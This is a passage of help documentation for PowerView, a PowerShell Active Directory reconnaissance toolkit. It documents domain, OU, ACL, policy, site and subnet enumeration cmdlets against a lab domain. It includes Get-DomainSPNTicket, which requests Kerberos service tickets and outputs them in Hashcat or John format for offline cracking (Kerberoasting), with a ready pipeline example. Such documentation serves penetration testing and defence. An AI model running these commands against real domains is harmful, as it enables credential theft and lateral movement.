Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.ManagedSecurityGroup

A custom PSObject describing the managed security group.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainOU

## SYNOPSIS
Search for all organization units (OUs) or specific OU objects in AD.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty

## SYNTAX

```
Get-DomainOU [[-Identity] <String[]>] [-GPLink <String>] [-Domain <String>] [-LDAPFilter <String>]


[-Properties <String[]>] [-SearchBase <String>] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-SecurityMasks <String>] [-Tombstone] [-FindOne]
[-Credential <PSCredential>] [-Raw]




```

## DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria.
To only return specific properies, use
“-Properties whencreated,usnchanged,…”.
By default, all OU objects for
the current domain are returned.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainOU
`

Returns the current OUs in the domain.

### ————————– EXAMPLE 2 ————————–
`
Get-DomainOU *admin* -Domain testlab.local
`

Returns all OUs with “admin” in their name in the testlab.local domain.

### ————————– EXAMPLE 3 ————————–
`
Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
`

Returns all OUs with linked to the specified group policy object.

### ————————– EXAMPLE 4 ————————–
`
"*admin*","*server*" | Get-DomainOU
`

Search for OUs with the specific names.

### ————————– EXAMPLE 5 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainOU -Credential $Cred

## PARAMETERS

### -Identity
An OU name (e.g.
TestOU), DistinguishedName (e.g.
OU=TestOU,DC=testlab,DC=local), or
GUID (e.g.
8a9ba22a-8977-47e6-84ce-8c26af4e1e6a).
Wildcards accepted.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: Name

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -GPLink
Only return OUs with the specified GUID in their gplink property.

```yaml
Type: String
Parameter Sets: (All)
Aliases: GUID

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Properties
Specifies the properties of the output object to retrieve from the server.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -SecurityMasks
Specifies an option for examining security information of a directory object.
One of ‘Dacl’, ‘Group’, ‘None’, ‘Owner’, ‘Sacl’.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -FindOne
Only return one result object.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: ReturnOne

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -Raw
Switch.
Return raw results instead of translating the fields into a custom PSObject.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.OU

Custom PSObject with translated OU property fields.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainObject

## SYNOPSIS
Return all (or specified) domain objects in AD.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName

## SYNTAX

```
Get-DomainObject [[-Identity] <String[]>] [-Domain <String>] [-LDAPFilter <String>] [-Properties <String[]>]


[-SearchBase <String>] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>]
[-ServerTimeLimit <Int32>] [-SecurityMasks <String>] [-Tombstone] [-FindOne] [-Credential <PSCredential>]
[-Raw]




```

## DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria.
To only return specific properies, use
“-Properties samaccountname,usnchanged,…”.
By default, all objects for
the current domain are returned.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainObject -Domain testlab.local
`

Return all objects for the testlab.local domain

### ————————– EXAMPLE 2 ————————–
`
'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname
`


distinguishedname

CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local
CN=dfm,CN=Users,DC=testlab,DC=local
OU=OU3,DC=testlab,DC=local
CN=dfm (admin),CN=Users,DC=testlab,DC=local

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainObject -Credential $Cred -Identity ‘windows1’

### ————————– EXAMPLE 4 ————————–
`
Get-Domain | Select-Object -Expand name
`

testlab.local

‘testlabharmj0y’,’DEVDomain Admins’ | Get-DomainObject -Verbose -Properties distinguishedname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainUser] Extracted domain ‘testlab.local’ from ‘testlabharmj0y’
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))



distinguishedname

CN=harmj0y,CN=Users,DC=testlab,DC=local
VERBOSE: [Get-DomainUser] Extracted domain ‘dev.testlab.local’ from ‘DEVDomain Admins’
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins)))
CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local

## PARAMETERS

### -Identity
A SamAccountName (e.g.
harmj0y), DistinguishedName (e.g.
CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Properties
Specifies the properties of the output object to retrieve from the server.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -SecurityMasks
Specifies an option for examining security information of a directory object.
One of ‘Dacl’, ‘Group’, ‘None’, ‘Owner’, ‘Sacl’.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -FindOne
Only return one result object.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: ReturnOne

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -Raw
Switch.
Return raw results instead of translating the fields into a custom PSObject.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.ADObject

Custom PSObject with translated AD object property fields.

PowerView.ADObject.Raw

The raw DirectoryServices.SearchResult object, if -Raw is enabled.

## NOTES

## RELATED LINKS




            

          

      

      

    

  

    
      
          
            
  # Get-DomainObjectAcl

## SYNOPSIS
Returns the ACLs associated with a specific active directory object.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap

## SYNTAX

```
Get-DomainObjectAcl [[-Identity] <String[]>] [-ResolveGUIDs] [-RightsFilter <String>] [-Domain <String>]


[-LDAPFilter <String>] [-SearchBase <String>] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]




```

## DESCRIPTION
{{Fill in the Description}}

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs
`

Get the ACLs for the matt.admin user in the testlab.local domain and
resolve relevant GUIDs to their display names.

### ————————– EXAMPLE 2 ————————–
`
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs
`

Enumerate the ACL permissions for all OUs in the domain.

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs

## PARAMETERS

### -Identity
A SamAccountName (e.g.
harmj0y), DistinguishedName (e.g.
CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g.
4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DistinguishedName, SamAccountName, Name

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -ResolveGUIDs
Switch.
Resolve GUIDs to their display names.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -RightsFilter
A specific set of rights to return (‘All’, ‘ResetPassword’, ‘WriteMembers’).

```yaml
Type: String
Parameter Sets: (All)
Aliases: Rights

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.ACL

Custom PSObject with ACL entries.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainPolicy

## SYNOPSIS
Returns the default domain policy or the domain controller policy for the current
domain or a specified domain/domain controller.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID

## SYNTAX

```
Get-DomainPolicy [[-Domain] <String>] [-Source <String>] [-Server <String>] [-ServerTimeLimit <Int32>]


[-ResolveSids] [-Credential <PSCredential>]




```

## DESCRIPTION
Returns the default domain policy or the domain controller policy for the current
domain or a specified domain/domain controller using Get-DomainGPO.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainPolicy
`

Returns the domain policy for the current domain.

### ————————– EXAMPLE 2 ————————–
`
Get-DomainPolicy -Domain dev.testlab.local
`

Returns the domain policy for the dev.testlab.local domain.

### ————————– EXAMPLE 3 ————————–
`
Get-DomainPolicy -Source DC -Domain dev.testlab.local
`

Returns the policy for the dev.testlab.local domain controller.

### ————————– EXAMPLE 4 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainPolicy -Credential $Cred

## PARAMETERS

### -Domain
The domain to query for default policies, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Name

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Source
Extract ‘Domain’ or ‘DC’ (domain controller) policies.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Domain
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResolveSids
Switch.
Resolve Sids from a DC policy to object names.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### Hashtable

Ouputs a hashtable representing the parsed GptTmpl.inf file.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainSID

## SYNOPSIS
Returns the SID for the current domain or the specified domain.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer

## SYNTAX

`
Get-DomainSID [[-Domain] <String>] [[-Server] <String>] [[-Credential] <PSCredential>]
`

## DESCRIPTION
Returns the SID for the current domain or the specified domain by executing
Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192)
to search for domain controllers through LDAP.
The SID of the returned domain controller
is then extracted.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainSID
`

### ————————– EXAMPLE 2 ————————–
`
Get-DomainSID -Domain testlab.local
`

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainSID -Credential $Cred

## PARAMETERS

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: 3
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### String

A string representing the specified domain SID.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainSPNTicket

## SYNOPSIS
Request the kerberos ticket for a specified service principal name (SPN).

Author: machosec, Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf

## SYNTAX

### RawSPN (Default)
`
Get-DomainSPNTicket [-SPN] <String[]> [-OutputFormat <String>] [-Credential <PSCredential>]
`

### User
`
Get-DomainSPNTicket [-User] <Object[]> [-OutputFormat <String>] [-Credential <PSCredential>]
`

## DESCRIPTION
This function will either take one/more SPN strings, or one/more PowerView.User objects
(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN
using System.IdentityModel.Tokens.KerberosRequestorSecurityToken.
The encrypted
portion of the ticket is then extracted and output in either crackable John or Hashcat
format (deafult of John).

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"
`

Request a kerberos service ticket for the specified SPN.

### ————————– EXAMPLE 2 ————————–
`
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket
`

Request kerberos service tickets for all SPNs passed on the pipeline.

### ————————– EXAMPLE 3 ————————–
`
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat
`

Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format.

## PARAMETERS

### -SPN
Specifies the service principal name to request the ticket for.

```yaml
Type: String[]
Parameter Sets: RawSPN
Aliases: ServicePrincipalName

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```

### -User
Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.

```yaml
Type: Object[]
Parameter Sets: User
Aliases:

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```

### -OutputFormat
Either ‘John’ for John the Ripper style hash formatting, or ‘Hashcat’ for Hashcat format.
Defaults to ‘John’.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Format

Required: False
Position: Named
Default value: John
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote domain using Invoke-UserImpersonation.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

### String

Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.

### PowerView.User

Accepts one or more PowerView.User objects on the pipeline with the User parameter set.

## OUTPUTS

### PowerView.SPNTicket

Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainSite

## SYNOPSIS
Search for all sites or specific site objects in AD.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty

## SYNTAX

```
Get-DomainSite [[-Identity] <String[]>] [-GPLink <String>] [-Domain <String>] [-LDAPFilter <String>]


[-Properties <String[]>] [-SearchBase <String>] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-SecurityMasks <String>] [-Tombstone] [-FindOne]
[-Credential <PSCredential>] [-Raw]




```

## DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria.
To only return specific properies, use
“-Properties whencreated,usnchanged,…”.
By default, all site objects for
the current domain are returned.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainSite
`

Returns the current sites in the domain.

### ————————– EXAMPLE 2 ————————–
`
Get-DomainSite *admin* -Domain testlab.local
`

Returns all sites with “admin” in their name in the testlab.local domain.

### ————————– EXAMPLE 3 ————————–
`
Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
`

Returns all sites with linked to the specified group policy object.

### ————————– EXAMPLE 4 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainSite -Credential $Cred

## PARAMETERS

### -Identity
An site name (e.g.
Test-Site), DistinguishedName (e.g.
CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or
GUID (e.g.
c37726ef-2b64-4524-b85b-6a9700c234dd).
Wildcards accepted.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: Name

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -GPLink
Only return sites with the specified GUID in their gplink property.

```yaml
Type: String
Parameter Sets: (All)
Aliases: GUID

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Properties
Specifies the properties of the output object to retrieve from the server.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -SecurityMasks
Specifies an option for examining security information of a directory object.
One of ‘Dacl’, ‘Group’, ‘None’, ‘Owner’, ‘Sacl’.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -FindOne
Only return one result object.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: ReturnOne

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -Raw
Switch.
Return raw results instead of translating the fields into a custom PSObject.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.Site

Custom PSObject with translated site property fields.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainSubnet

## SYNOPSIS
Search for all subnets or specific subnets objects in AD.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty

## SYNTAX

```
Get-DomainSubnet [[-Identity] <String[]>] [-SiteName <String>] [-Domain <String>] [-LDAPFilter <String>]


[-Properties <String[]>] [-SearchBase <String>] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-SecurityMasks <String>] [-Tombstone] [-FindOne]
[-Credential <PSCredential>] [-Raw]




```

## DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria.
To only return specific properies, use
“-Properties whencreated,usnchanged,…”.
By default, all subnet objects for
the current domain are returned.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainSubnet
`

Returns the current subnets in the domain.

### ————————– EXAMPLE 2 ————————–
`
Get-DomainSubnet *admin* -Domain testlab.local
`

Returns all subnets with “admin” in their name in the testlab.local domain.

